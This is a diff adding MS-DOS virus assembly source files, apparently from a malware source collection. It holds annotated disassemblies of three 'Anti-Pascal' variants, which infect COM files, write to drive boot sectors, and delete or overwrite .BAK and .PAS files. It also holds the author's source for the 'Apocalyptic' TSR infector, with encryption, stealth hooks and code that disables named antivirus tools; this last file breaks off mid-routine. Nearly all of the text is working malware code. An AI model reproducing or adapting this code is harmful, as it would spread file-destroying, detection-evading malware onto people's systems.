b/MSDOS/Virus.MSDOS.Unknown.ap-480.asm @@ -0,0 +1,316 @@ + page ,132 + name AP480 + title The 'Anti-Pascal' virus, version AP-480 + .radix 16 + +; ╔══════════════════════════════════════════════════════════════════════════╗ +; ║ Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 ║ +; ║ Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255 ║ +; ║ ║ +; ║ The 'Anti-Pascal' Virus, version AP-480 ║ +; ║ Disassembled by Vesselin Bontchev, June 1990 ║ +; ║ ║ +; ║ Copyright (c) Vesselin Bontchev 1989, 1990 ║ +; ║ ║ +; ║ This listing is only to be made available to virus researchers ║ +; ║ or software writers on a need-to-know basis. ║ +; ╚══════════════════════════════════════════════════════════════════════════╝ + +; The disassembly has been tested by re-assembly using MASM 5.0. + +code segment + assume cs:code, ds:code + + org 100 + +v_const = 2042d + +start: + jmp v_entry + db 0CA ; Virus signature + + db (2048d - 9) dup (90) + + mov ax,4C00 + int 21 + +v_start label byte +first4 db 0E9, 0F8, 7, 90 +allcom db '*.COM', 0 + +mydta label byte +reserve db 15 dup (?) +attrib db ? +time dw ? +date dw ? +fsize dd ? +namez db 14d dup (?) + +allp db 0, '????????P??' +allbak db 0, '????????BAK' +maxdrv db ? + +v_entry: + push ax ; Save AX & DX + push dx + + mov ah,19 ; Get the default drive + int 21 + push ax ; Save it on stack + mov ah,0E ; Set it as default (?!) + mov dl,al + int 21 ; Do it + + call self ; Determine the virus' start address +self: + pop si + sub si,offset self-v_const + +; Save the number of logical drives in the system: + + mov byte ptr [si+offset maxdrv-v_const],al + +; Restore the first 4 bytes of the infected program: + + mov ax,[si+offset first4-v_const] + mov word ptr ds:[offset start],ax + mov ax,[si+offset first4+2-v_const] + mov word ptr ds:[offset start+2],ax + + mov ah,1A ; Set new DTA + lea dx,[si+offset mydta-v_const] + int 21 ; Do it + + pop ax ; Restore current drive in AL + push ax ; Keep it on stack + + call inf_drive ; Proceed with the current drive + + xor al,al ; For all logical drives in the system +drv_lp: + call inf_drive ; Proceed with drive + jbe drv_lp ; Loop until no more drives + + pop ax ; Restore the saved current drive + mov ah,0E ; Set it as current drive + mov dl,al + int 21 ; Do it + + mov dx,80 ; Restore original DTA + mov ah,1A + int 21 ; Do it + + mov si,offset start + pop dx ; Restore DX & AX + pop ax + jmp si ; Run the original program + +inf_drive: + push ax ; Save the selected drive number on stack + mov ah,0E ; Select that drive + mov dl,al + int 21 ; Do ti + pop ax ; Restore AX + + push ax ; Save the registers used + push bx + push cx + push si ; Save SI + + mov cx,1 ; Read the boot sector of the drive specified + xor dx,dx + lea bx,[si+offset v_end-v_const] + push ax ; Save AX + push bx ; Save BX, CX & DX also + push cx + push dx + int 25 ; Do read + pop dx ; Clear the stack + pop dx ; Restore saved DX, CX & BX + pop cx + pop bx + jc bad_drv ; Exit on error + + inc byte ptr [bx] ; Increment the first byte (?!) + cmp byte ptr [bx+1],6F ; Second byte == 111 (?!) + jne wr_drive ; Write the new values if not + +bad_drv: + pop ax ; Restore AX + pop si ; Restore SI +drv_xit: + pop cx ; Restore used registers + pop bx + pop ax + + inc al ; Go to next drive number + cmp al,[si+offset maxdrv-v_const] ; See if there are more drives + ret ; Exit + +wr_drive: + pop ax ; Restore drive number in AL + int 26 ; Do write + pop ax ; Clear the stack + pop si ; Restore Si + jc drv_xit ; Exit on error + +; Find first COM file on the current directory of the selected drive: + + mov ah,4E + xor cx,cx ; Normal files only + lea dx,[si+offset allcom-v_const] ; File mask +next: + int 21 ; Do find + jc no_more ; Quit search if no more such files + lea dx,[si+offset namez-v_const] ; Get file name found + call infect ; Infect that file + mov ah,4F ; Prepare for FindNext + jc next ; If infection not successful, go to next file + jmp drv_xit ; Otherwise quit + +no_more: + lea di,[si+offset v_end-v_const] + cmp byte ptr [di],80 + jb drv_xit + +; Form the current directory path at v_end: + + mov al,'\' ; '\' for the root + stosb ; Put that character + xchg si,di ; Save DI + + mov ah,47 ; Get current directory + xor dl,dl ; of the default drive and put it there too + int 21 ; Do it + + xchg si,di ; Restore DI + xor al,al ; Go to the end of paht (?!) + mov cx,64d + repne scasb ; Do it + dec di ; Go to the previous byte + + mov ah,13 ; Delete all *.P* files in that dir + lea dx,[si+offset allp-v_const] + int 21 ; Do it + cmp al,-1 + je drv_xit ; Exit on error + + mov ah,13 ; Delete all *.BAK files too + lea dx,[si+offset allbak-v_const] + int 21 ; Do it + + mov cx,20d ; Create 20 temporary files (?!) + mov ah,5A + lea dx,[si+offset v_end-v_const] + +creat_lp: + push cx ; Save registers used + push ax + push dx + mov byte ptr [di],0 + mov cx,7 ; With ReadOnly, Hidden and System attributes + int 21 ; Do it + + pop dx ; Save used registers + pop ax + pop cx + loop creat_lp ; Loop until done + + jmp drv_xit ; Done. Exit + +namaddr dw ? ; Address of the file name buffer + +infect: + mov [si+offset namaddr-v_const],dx ; Save file name address + + mov ax,4301 ; Reset all file attributes + xor cx,cx + int 21 ; Do it + jnc inf_cont ; Continue if all OK +inf_xit: + ret ; Otherwise exit + +inf_cont: + mov ax,3D02 ; Open file for both reading and writing + int 21 + jc inf_xit ; Exit on arror + mov bx,ax ; Save file handle in BX + + mov cx,4 ; Read the first 4 bytes of the file + mov ah,3F + lea di,[si+offset first4-v_const] ; Save them in first4 + mov dx,di + int 21 ; Do it + jc quit ; Exit on error + + cmp byte ptr [di+3],0CA ; File already infected? + stc ; Set CF to indicate it + jz quit ; Don't touch this file if so + + mov cx,[si+offset fsize-v_const] + cmp cx,2048d ; Check if file size >= 2048 bytes + jb quit ; Exit if not + cmp cx,64000d ; Check if file size <= 64000 bytes + stc ; Set CF to indicate it + ja quit ; Exit if not + + xor cx,cx ; Seek to file end + xor dx,dx + mov ax,4202 + int 21 ; Do it + push ax ; Save file size on stack + jc quit ; Exit on error + +; Write the virus body after the end of file: + + mov cx,v_end-v_start + nop + lea dx,[si+offset v_start-v_const] + mov ah,40 + int 21 ; Do it + jc quit ; Exit on error + pop ax ; Restore file size in AX + +; Form a new address for the first JMP instruction in AX: + + add ax,v_entry-v_start-3 + mov byte ptr [di],0E9 ; JMP opcode + mov [di+1],ax + mov byte ptr [di+3],0CA ; Set the "file infected" sign + + xor cx,cx ; Seek to file beginning + xor dx,dx + mov ax,4200 + int 21 ; Do it + jc quit ; Exit on error + + mov cx,4 ; Write the new first 4 bytes of the file + mov dx,di + mov ah,40 + int 21 ; Do it + +quit: + pushf ; Save flags + + mov ax,5701 ; Set file date & time + mov cx,[si+offset time-v_const] ; Get time from mydta + mov dx,[si+offset date-v_const] ; Get date from mydta + int 21 ; Do it + + mov ah,3E ; Close the file + int 21 + + mov ax,4301 ; Set file attributes + mov cl,[si+offset attrib-v_const] ; Get them from mydta + xor ch,ch + mov dx,[si+offset namaddr-v_const] ; Point to file name + int 21 ; Do it + + popf ; Restore flags + ret + +v_end equ $ + +code ends + end start + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.ap-529.asm b/MSDOS/Virus.MSDOS.Unknown.ap-529.asm new file mode 100644 index 00000000..2f648882 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.ap-529.asm @@ -0,0 +1,341 @@ + page ,132 + name AP529 + title AP529 - The 'Anti-Pascal' Virus, version AP-529 + .radix 16 + +; ╔══════════════════════════════════════════════════════════════════════════╗ +; ║ Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 ║ +; ║ Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255 ║ +; ║ ║ +; ║ The 'Anti-Pascal' Virus, version AP-529 ║ +; ║ Disassembled by Vesselin Bontchev, June 1990 ║ +; ║ ║ +; ║ Copyright (c) Vesselin Bontchev 1989, 1990 ║ +; ║ ║ +; ║ This listing is only to be made available to virus researchers ║ +; ║ or software writers on a need-to-know basis. ║ +; ╚══════════════════════════════════════════════════════════════════════════╝ + +; The disassembly has been tested by re-assembly using MASM 5.0. + +code segment + assume cs:code,ds:code + + org 100 + +vlen = v_end-start +crit equ 12 ; Address of the original INT 24h handler + +start: + push ax ; Save registers used + push cx + push si + push di + push bx + push flen ; Save current file length + +; The operand of the instruction above is used as a signature by the virus + +sign equ $-2 + + jmp short v_start ; Go to virus start + +flen dw vlen ; File length before infection +f_name db 13d dup (?) ; File name buffer for the rename function call +fmask db '*.' ; Mask for FindFirst/FindNext +fext db 'com', 0 ; The extension part of the file mask +parent db '..', 0 ; Path for changing to the parent dir + +com db 'com' ; File extensions used +bak db 'bak' +pas db 'pas' +wild db '???' +exe db 'exe' + +dta equ $ ; Disk Transfer Address area +drive db ? ;Drive to search for +pattern db 11d dup (?) ;Search pattern +reserve db 9 dup (?) ;Not used +attrib db ? ;File attribute +time dw ? ;File time +date dw ? ;File date +fsize dd ? ;File size +namez db 14d dup (?) ;File name found + +mem_seg dw ? ; Segment of the allocated I/O buffer +sizehld dw ? ; Size holder + +v_start: + mov bx,1000 ; Shrink program memory size to 64 K + mov ah,4A + int 21 ; Do it + + mov ah,48 ; Allocate I/O buffer in memory + mov bx,vlen/16d+1 ; (at least vlen long) + int 21 ; Do it + jc cleanup ; Exit on error + mov mem_seg,ax ; Save the segment of the allocated memory + + mov ax,2524 ; Set critical error handler + mov dx,offset int_24 + int 21 ; Do it + + mov ah,1A ; Set new DTA area + mov dx,offset dta + int 21 ; Do it + + mov ah,19 ; Get default drive + int 21 + push ax ; Save it on stack + + call infect ; Proceed with infection + + int 11 ; Put equipment bits in ax + test ax,1 ; Diskette drives present? + jz cleanup ; Exit if not (?!) + + shl ax,1 ; Get number of floppy disk drives + shl ax,1 ; in AH (0-3 means 1-4 drives) + and ah,3 + + add ah,2 ; Convert the number of drives to + mov al,ah ; the range 2-5 and put it into BL + mov bx,ax + xor bh,bh + + cmp bl,3 ; More than 2 floppy drives? + ja many ; Check if the highest one is removable if so + mov bl,3 ; Otherwise check disk C: +many: + mov ax,4408 ; Check whether device is removable + int 21 + jc cleanup ; Exit on error (network) + or ax,ax ; Is device removable? + jz cleanup ; Exit if so + + mov dl,bl ; Otherwise select it as default + dec dl + mov ah,0E + int 21 ; Do it + + call infect ; Proceed with this drive also + +cleanup: + pop dx ; Restore saved default disk from stack + mov ah,0E ; Set default drive + int 21 ; Do it + + pop flen ; Restore flen + + mov es,mem_seg ; Free allocated memory + mov ah,49 + int 21 ; Do it + + mov ah,4A ; Get all the available memory + push ds ; ES := DS + pop es + mov bx,-1 + int 21 ; Do it + + mov ah,4A ; Assign it to the program (the initial state) + int 21 ; Do it + + mov dx,80 ; Restore old DTA + mov ah,1A + int 21 ; Do it + + mov ax,2524 ; Restore old critical error handler + push ds ; Save DS + lds dx,dword ptr ds:[crit] + int 21 ; Do it + pop ds ; Restore DS + + pop bx ; Restore BX + + mov ax,4F ; Copy the program at exit_pgm into + mov es,ax ; the Intra-Aplication Communication + xor di,di ; Area (0000:04F0h) + mov si,offset exit_pgm + mov cx,pgm_end-exit_pgm ; exit_pgm length + cld + rep movsb ; Do it + mov ax,ds ; Correct the Far JMP instruction with + stosw ; the current DS value + + mov di,offset start ; Prepare for moving vlen bytes + mov si,flen ; from file end to start + add si,di + mov cx,vlen + push ds ; ES := DS + pop es +; jmp far ptr 004F:0000 ; Go to exit_pgm + db 0EA, 0, 0, 4F, 0 + +exit_pgm: + rep movsb ; Restore the original bytes of the file + pop di ; Restore registers used + pop si + pop cx + pop ax + db 0EA, 0, 1 ; JMP Far at XXXX:0100 +pgm_end equ $ + +lseek: + mov ah,42 + xor cx,cx ; Offset := 0 + xor dx,dx + int 21 ; Do it + ret ; And exit + +f_first: ; Find first file with extension pointed by SI + mov di,offset fext ; Point DI at extension part of fmask + cld ; Clear direction flag + movsw ; Copy the extension pointed by SI + movsb ; to file mask for FindFirst/FindNext + mov ah,4E ; Find first file matching fmask + mov cx,20 ; Normal files only + mov dx,offset fmask + ret ; Exit + +wr_body: + mov ax,3D02 ; Open file for reading and writing + mov dx,offset namez ; FIle name is in namez + int 21 ; Do it + mov bx,ax ; Save handle in BX + + mov ah,3F ; Read the first vlen bytes of the file + mov cx,vlen ; in the allocated memory buffer + push ds ; Save DS + mov ds,mem_seg + xor dx,dx + int 21 ; Do it + + mov ax,ds:[sign-start] ; Get virus signature + pop ds ; Restore DS + cmp ax,word ptr ds:[offset sign] ; File already infected? + je is_inf ; Exit if so + push ax ; Save AX + mov al,0 ; Lseek to the file beginning + call lseek ; Do it + mov ah,40 ; Write virus body over the + mov dx,offset start ; first bytes of the file + mov cx,sizehld ; Number of bytes to write + int 21 ; Do it + + pop ax ; Restore AX + clc ; CF == 0 means infection successfully done + ret ; Exit +is_inf: + stc ; CF == 1 means file already infected + ret ; Exit + +rename: + push si ; Save SI + mov si,offset namez ; Point SI at file name + mov dx,si ; Point DX there too + mov di,offset f_name ; Point DI at the name buffer + +cpy_name: + lodsb ; Get byte from the file name + stosb ; Store it in the name buffer + cmp al,'.' ; Is all the name (up to the extension) copied? + jne cpy_name ; Loop if not + + pop si ; Restore SI + movsw ; Copy the new extension + movsb ; into the file name buffer + xor al,al ; Make the file name ASCIIZ + stosb ; by placing a zero after it + + mov ah,56 ; Now rename the file to the new extension + mov di,offset f_name + int 21 ; Do it + ret ; Done. Exit + +infect: + mov si,offset com ; Find the first .COM file in this dir + call f_first +f_next2: + int 21 ; Do it + jc pass_2 ; Do damage if no such files + + mov ax,word ptr fsize ; Check the size of the file found + cmp ax,vlen ; Less than virus length? + jb next ; Too small, don't touch + cmp ax,0FFFF-vlen ; Bigger than 64 K - vlen? + ja next ; Too big, don't touch + mov flen,ax ; Save file length + mov sizehld,vlen + call wr_body ; Write virus body over the file + jc next ; Exit on error + mov al,2 ; Lseek to file end + call lseek ; Do it + push ds ; Save DS + mov ds,mem_seg ; Write the original bytes from + mov cx,vlen ; the file beginning after its end + xor dx,dx + mov ah,40 + int 21 ; Do it + pop ds ; Restore DS + +close: + mov ah,3E ; Close the file handle + int 21 ; Do it + ret ; And exit + +next: + call close ; Close the file + mov ah,4F ; And go find another one + jmp f_next2 + +pass_2: + mov si,offset bak ; Find a *.BAK file + call f_first ; Do it + int 21 + jc pas_srch ; On error search for *.PAS files + mov dx,offset namez ; Otherwise delete the file + mov ah,41 ; Do it + int 21 + +pas_srch: + mov si,offset pas ; Find a *.PAS file + call f_first ; Do it + int 21 + jc inf_xit ; Exit on error + + mov ax,word ptr fsize + mov sizehld,ax ; Save file size + call wr_body ; Overwrite the file with the virus body + call close ; Close it + mov si,offset com ; Try to rename it as a .COM file + call rename ; Do it + jnc inf_xit ; Exit if renaming OK + mov si,offset exe ; Otherwise try to rename it as an .EXE file + call rename ; Do it + jnc inf_xit ; Exit if renaming OK + mov ah,41 ; Otherwise just delete that stupid file + int 21 ; Do it +inf_xit: + ret ; And exit + +int_24: ; Critical error handler + mov al,2 ; Abort suggested (?!) + iret ; Return + +v_end = $ + +; Here goes the rest of the original program (if any): + +; And here (after the end of file) are the overwritten first 529 bytes: + + jmp quit ; The original "program" + + db (529d - 8) dup (90) + +quit: + mov ax,4C00 ; Just exit + int 21 + +code ends + end start + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.ap-605.asm b/MSDOS/Virus.MSDOS.Unknown.ap-605.asm new file mode 100644 index 00000000..9a8f1342 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.ap-605.asm @@ -0,0 +1,391 @@ + page ,132 + name V605 + title V605 - The 'Anti-Pascal' Virus + .radix 16 + +; ╔══════════════════════════════════════════════════════════════════════════╗ +; ║ Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 ║ +; ║ Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255 ║ +; ║ ║ +; ║ The 'Anti-Pascal' Virus ║ +; ║ Disassembled by Vesselin Bontchev, June 1990 ║ +; ║ ║ +; ║ Copyright (c) Vesselin Bontchev 1989, 1990 ║ +; ║ ║ +; ║ This listing is only to be made available to virus researchers ║ +; ║ or software writers on a need-to-know basis. ║ +; ╚══════════════════════════════════════════════════════════════════════════╝ + +; The disassembly has been tested by re-assembly using MASM 5.0. + +code segment + assume cs:code,ds:code + + org 100 + +vlen = v_end-start +crit equ 12 + +start: + push ax ; Save registers used + push cx + push si + push di + push bx + push flen ; Save current file length + +; The operand of the instruction above is used as a signature by the virus + +sign equ $-2 + + jmp v_start ; Go to virus start + +flen dw vlen ; File length before infection +fmask db '*.' ; Mask for FindFirst/FindNext +fext db 'com', 0 ; The extension part of the file mask +parent db '..', 0 ; Path for changing to the parent dir + +com db 'com' ; File extensions used +bak db 'bak' +pas db 'pas' +wild db '???' +exe db 'exe' + +dta equ $ ; Disk Transfer Address area +drive db ? ;Drive to search for +pattern db 11d dup (?) ;Search pattern +reserve db 9 dup (?) ;Not used +attrib db ? ;File attribute +time dw ? ;File time +date dw ? ;File date +fsize dd ? ;File size +namez db 14d dup (?) ;File name found + +counter db ? +mem_seg dw ? ; Segment of the allocated I/O buffer +sizehld dw ? ; Size holder + +v_start: + mov counter,2 ; Set initial counter value + mov bx,1000 ; Shrink program memory size to 64 K + mov ah,4A + int 21 ; Do it + + mov ah,48 ; Allocate I/O buffer in memory + mov bx,vlen/16d+1 ; (at least vlen long) + int 21 ; Do it + jc cleanup ; Exit on error + mov mem_seg,ax ; Save the segment of the allocated memory + + mov ax,2524 ; Set critical error handler + mov dx,offset int_24 + int 21 ; Do it + + mov ah,1A ; Set new DTA area + mov dx,offset dta + int 21 ; Do it + + mov ah,19 ; Get default drive + int 21 + push ax ; Save it on stack + + call infect ; Proceed with infection + jc cleanup ; Exit on error + + int 11 ; Put equipment bits in ax + test ax,1 ; Diskette drives present? + jz cleanup ; Exit if not (?!) + + shl ax,1 ; Get number of floppy disk drives + shl ax,1 ; in AH (0-3 means 1-4 drives) + and ah,3 + + add ah,2 ; Convert the number of drives to + mov al,ah ; the range 2-5 and put it into BL + mov bx,ax + xor bh,bh + + cmp bl,3 ; More than 2 floppy drives? + ja many ; Check if the highest one is removable if so + mov bl,3 ; Otherwise check disk D: +many: + mov ax,4408 ; Check whether device is removable + int 21 + jc cleanup ; Exit on error (network) + or ax,ax ; Is device removable? + jz cleanup ; Exit if so + + mov dl,bl ; Otherwise select it as default + mov ah,0E + int 21 ; Do it + + call infect ; Proceed with this drive also + +cleanup: + pop dx ; Restore saved default disk from stack + mov ah,0E ; Set default drive + int 21 ; Do it + + pop flen ; Restore flen + + mov es,mem_seg ; Free allocated memory + mov ah,49 + int 21 ; Do it + + mov ah,4A ; Get all the available memory + push ds ; ES := DS + pop es + mov bx,-1 + int 21 ; Do it + + mov ah,4A ; Assign it to the program (the initial state) + int 21 ; Do it + + mov dx,80 ; Restore old DTA + mov ah,1A + int 21 ; Do it + + mov ax,2524 ; Restore old critical error handler + push ds ; Save DS + lds dx,dword ptr ds:[crit] + int 21 ; Do it + pop ds ; Restore DS + + pop bx ; Restore BX + + mov ax,4F ; Copy the program at exit_pgm into + mov es,ax ; the Intra-Aplication Communication + xor di,di ; Area (0000:04F0h) + mov si,offset exit_pgm + mov cx,pgm_end-exit_pgm ; exit_pgm length + cld + rep movsb ; Do it + mov ax,ds ; Correct the Far JMP instruction with + stosw ; the current DS value + + mov di,offset start ; Prepare for moving vlen bytes + mov si,flen ; from file end to start + add si,di + mov cx,vlen + push ds ; ES := DS + pop es +; jmp far ptr 004F:0000 ; Go to exit_pgm + db 0EA, 0, 0, 4F, 0 + +exit_pgm: + rep movsb ; Restore the original bytes of the file + pop di ; Restore registers used + pop si + pop cx + pop ax + db 0EA, 0, 1 ; JMP Far at XXXX:0100 +pgm_end equ $ + +lseek: + mov ah,42 + xor cx,cx ; Offset := 0 + xor dx,dx + int 21 ; Do it + ret ; And exit + +f_first: ; Find first file with extension pointed by SI + mov di,offset fext ; Point DI at extension part of fmask + cld ; Clear direction flag + movsw ; Copy the extension pointed by SI + movsb ; to file mask for FindFirst/FindNext + mov ah,4E ; Find first file matching fmask + mov cx,20 ; Normal files only + mov dx,offset fmask + ret ; Exit + +wr_body: + mov ax,3D02 ; Open file for reading and writing + mov dx,offset namez ; FIle name is in namez + int 21 ; Do it + mov bx,ax ; Save handle in BX + + mov ah,3F ; Read the first vlen bytes of the file + mov cx,vlen ; in the allocated memory buffer + push ds ; Save DS + mov ds,mem_seg + xor dx,dx + int 21 ; Do it + + mov ax,ds:[sign-start] ; Get virus signature + pop ds ; Restore DS + cmp ax,word ptr ds:[offset sign] ; File already infected? + je is_inf ; Exit if so + push ax ; Save AX + mov al,0 ; Lseek to the file beginning + call lseek ; Do it + mov ah,40 ; Write virus body over the + mov dx,offset start ; first bytes of the file + mov cx,sizehld ; Number of bytes to write + int 21 ; Do it + + pop ax ; Restore AX + dec counter ; Decrement counter + clc ; CF == 0 means infection successfully done + ret ; Exit +is_inf: + stc ; CF == 1 means file already infected + ret ; Exit + +destroy: + call f_first ; Find first file to detroy +f_next1: + int 21 ; Do it + jc no_more1 ; Exit if no more files + + mov ax,word ptr fsize ; Get file size + mov sizehld,ax ; And save it in sizehld + call wr_body ; Write virus body over the file + jc close1 ; Exit on error + mov si,offset com ; Change fmask to '*.COM' + call f_first ; Do it + mov ah,56 ; Rename file just destroyed as a .COM one + mov di,dx + mov dx,offset namez ; File name to rename + int 21 ; Do it + +; The RENAME function call will fall if file with this name already exists. + + jnc close1 ; Exit if all is OK + + mov si,offset exe ; Otherwise try to rename the file + call f_first ; as an .EXE one + mov ah,56 + int 21 ; Do it + +close1: + mov ah,3E ; Close the file handle + int 21 ; Do it + + cmp counter,0 ; Two files already infected? + je stop ; Stop if so + mov ah,4F ; Other wise proceed with the next file + jmp f_next1 + +; Here the returned error code in CF means: +; 0 - renaming unsuccessful +; 1 - renaming successful + +stop: + clc +no_more1: + cmc ; Complement CF (CF := not CF) + ret + +infect: + mov si,offset com ; Find the first .COM file in this dir + call f_first +f_next2: + int 21 ; Do it + jc do_damage ; Do damage if no such files + + mov ax,word ptr fsize ; Check the size of the file found + cmp ax,vlen ; Less than virus length? + jb close2 ; Too small, don't touch + cmp ax,0FFFF-vlen ; Bigger than 64 K - vlen? + ja close2 ; Too big, don't touch + mov flen,ax ; Save file length + mov sizehld,vlen + call wr_body ; Write virus body over the file + jc close2 ; Exit on error + cmp ax,6F43 ; ?! + je close2 + mov al,2 ; Lseek to file end + call lseek ; Do it + push ds ; Save DS + mov ds,mem_seg ; Write the original bytes from + mov cx,vlen ; the file beginning after its end + xor dx,dx + mov ah,40 + int 21 ; Do it + pop ds ; Restore DS + +close2: + mov ah,3E ; Close the file handle + int 21 ; Do it + + mov ah,4F ; Prepare for FindNext + cmp counter,0 ; Two files already infected? + jne f_next2 ; Continue if not + stc ; Otherwise set CF to indicate error +err_xit: + ret ; And exit + +do_damage: + mov si,offset bak ; Try to "infect" and rename a .BAK file + call destroy ; Do it + jc err_xit ; Exit if "infection" successful + mov si,offset pas ; Try to "infect" and rename a .PAS file + call destroy ; Do it + jc err_xit ; Exit if "infection" successful + mov si,offset wild ; Otherwise perform a subdirectory scan + call f_first + mov cx,110111b ; Find any ReadOnly/Hidden/System/Dir/Archive + +f_next3: + int 21 ; Do it + jc no_more2 ; Exit if no more + mov al,attrib ; Check attributes of the file found + test al,10000b ; Is it a directory? + jz bad_file ; Skip it if not + mov di,offset namez ; Otherwise get its name + cmp byte ptr [di],'.' ; "." or ".."? + je bad_file ; Skip it if so + mov dx,di ; Otherwise change to that subdirectory + mov ah,3Bh + int 21 ; Do it + + mov cx,16 ; Save the 44 bytes of dta on stack + mov si,offset dta ; Point SI at the first word of dta +lp1: + push word ptr [si] ; Push the current word + add si,2 ; Point SI at the next one + loop lp1 ; Loop until done + + call infect ; Preform infection on this subdirectory + + mov cx,16 ; Restore the bytes pushed + mov si,offset counter-2 ; Point SI at the last word of dta +lp2: + pop word ptr [si] ; Pop the current word from stack + sub si,2 ; Point SI at the previous word + loop lp2 ; Loop until done + + pushf ; Save flags + mov dx,offset parent + mov ah,3Bh ; Change to parent directory + int 21 ; Do it + popf ; Restore flags + jc err_xit ; Exit if infection done + +bad_file: + mov ah,4F ; Go find the next file + jmp f_next3 + +no_more2: + clc ; Return CF == 0 (no errors) + ret ; Exit + +int_24: ; Critical error handler + mov al,2 ; Abort suggested (?!) + iret ; Return + +v_end = $ + +; Here goes the rest of the original program (if any): + +; And here (after the end of file) are the overwritten first 650 bytes: + + db 0E9, 55, 2 + db 597d dup (90) + mov ax,4C00 ; Program terminate + int 21 + +code ends + end start + + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.apocalyp.asm b/MSDOS/Virus.MSDOS.Unknown.apocalyp.asm new file mode 100644 index 00000000..c6968e66 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.apocalyp.asm @@ -0,0 +1,677 @@ +; Virus name: Apocalyptic +; Author: WiNTeRMuTe/29A +; Size: 1058 bytes +; Origin: Madrid, Spain +; Finished: October, 1996 ( with a pair of corrections after that ) +; +; +; Characteristics and curiosities +; +; - TSR appending Com/Exe infector +; - Has a routine to encrypt and another to decrypt ( ror+add+xor ) +; - Stealth ( 11h/12h/4eh/4fh/5700h ) +; - Deactivates Tbdriver when going into mem and when infecting +; - Makes the int 3h point to the int21h on infection +; - Fools f-prot's 'stealth detection' +; - Non-detectable ( in 2nd generation ) by Tbav 7.05, F-prot 2.23c, Scan, +; Avp and else. TbClean doesn't clean it ( it gets lost with the Z Mcb +; searching loop,... really that product is a shit ) +; - Payload: On 26th of July it shows all file with size 029Ah ( 666 ) +; +; +; Thanks go to: +; +; - All the 29A staff; rulez ! Specially in the spanish scene to MrSandman, +; VirusBuster, Griyo, Mr.White, Avv, Anibal and ORP +; - Living Turmoil, specially Warblade and Krackbaby... go on with the mags! +; - H/P/C/A/V people in my bbs like Patuel, the Black Rider, MegaMan, +; Bitspawn, Netrunner, the S.H.E.... and of course to my sysop 'Uni' and the +; other cosysops... +; +; +; And fucks go to: +; +; - Some Fidoasses. They know who they are. +; +; +; ─═══════════════════════════════════─ +; +; " Why don't you get a life and grow up, +; why don't you realize that you're fucked up, +; why criticize what you don't understand, +; why change my words, you're so afraid " +; +; ( Sepultura ) +; +; ─═════════════════════════─ +; +; To assemble the virus, use: +; +; Tasm virus.asm +; Tlink virus.obj +; + +.286 +HOSTSEG segment BYTE +ASSUME CS:HOSTSEG, SS:CODIGO + +Host: + mov ax,4c00h + int 21h + +ends + +CODIGO segment PARA +ASSUME CS:CODIGO, DS:CODIGO, SS:CODIGO + +virus_size equ virus_end-virus_start +encrypt_size equ encrypt_end-encrypt_start + +virus_start label byte + +org 0h + +Letsrock: + call delta ; Entry for Com/Exe +delta: + mov si,sp ; ы-offset + mov bp,word ptr ss:[si] + sub bp,offset delta + push es ax ds + + push cs + pop ds + call tomacha ; I don't call encryption + ;on first generation + +Encrypt_start label byte + +;*************************************************************************** +; RESIDENCE +;*************************************************************************** + + +goon: + push es + call tbdriver ; Deactivate TbDriver + + mov ah,52h ; Pick list of lists + int 21h + mov si,es:[bx-2] ; First MCB + mov es,si + +Mcb_Loop: + cmp byte ptr es:[0],'Z' ; I search last Mcb. + je got_last +cont: add si,es:[3] + inc si + mov es,si + jmp Mcb_Loop + +got_last: + pop dx + cmp word ptr es:[1],0h ; Is it free ? + je go_on + cmp word ptr es:[1],dx ; Or with active Psp ? + jne exit +go_on: + cmp word ptr es:[3],((virus_size+15)/16)+1 + jb exit ; Is there space for me ? + + push es ; If there is, I get resident + pop ds + mov di,es + add di,word ptr es:[3] ; Residence stuff; nothing + sub di,((virus_size+15)/16) ;special + push di + mov es,di + xor di,di + xor si,si + mov cx,8 + rep movsw + + pop di + inc di + mov word ptr es:[3],((virus_size+15)/16)+1 + mov word ptr es:[1],di + + mov byte ptr ds:[0],'M' + sub word ptr ds:[3],((virus_size+15)/16)+1 + mov di,5 + mov cx,12 + xor al,al + rep stosb + + push es cs + pop ds ax + inc ax + push ax + mov es,ax + xor di,di + mov si,bp + mov cx,(virus_size) + rep movsb + + mov ax,3521h + int 21h + pop ds + mov ds:word ptr [int21h],bx + mov ds:word ptr [int21h+2],es + mov ah,25h + lea dx,main_center + int 21h + +;*************************************************************************** +; RETURN TO HOST +;*************************************************************************** + +exit: + pop ds ax es + + dec byte ptr [flag+bp] ; Was it a Com ? + jz era_un_com + + mov si,ds ; Recover stack + add si,cs:word ptr [ss_sp+bp] + add si,10h + cli + mov ss,si + mov sp,cs:word ptr [ss_sp+bp+2] + sti + + mov si,ds ; Recover CS:IP + add si,cs:word ptr [cs_ip+bp+2] + add si,10h + push si + push cs:word ptr [cs_ip+bp] + + retf ; Return to host + +era_un_com: + mov di,100h ; If it's a Com, I make + push di ;it to return + lea si,bp+ss_sp + movsw + movsb + ret + +condiciones: + push cx dx ; Payload trigger + mov ah,02ah ; Activates on 26th july + int 21h + cmp dx,071Ah + pop dx cx + jnz nain + stc + ret +nain: + clc + ret + +;*************************************************************************** +; TBDRIVER +;*************************************************************************** + +Tbdriver: + xor ax,ax ; Annulates TBdriver,... + mov es,ax ;really, this Av is a + les bx,es:[0084h] ;megashit. + cmp byte ptr es:[bx+2],0eah + jnz volvamos + push word ptr es:[bx+3] + push word ptr es:[bx+5] + mov es,ax + pop word ptr es:[0086h] + pop word ptr es:[0084h] +volvamos: ret + +;*************************************************************************** +; STEALTH 05700h +;*************************************************************************** + +Stealth_tiempo: + pushf + call dword ptr cs:[Int21h] ; Calls Int21h + push cx + and cl,01fh + xor cl,01fh + pop cx + jnz nada + or cl,01fh ; Changes seconds +nada: + retf 2 + +;**************************************************************************** +; FCB STEALTH +;**************************************************************************** + +FCB_Stealth: + + pushf ; Stealth of 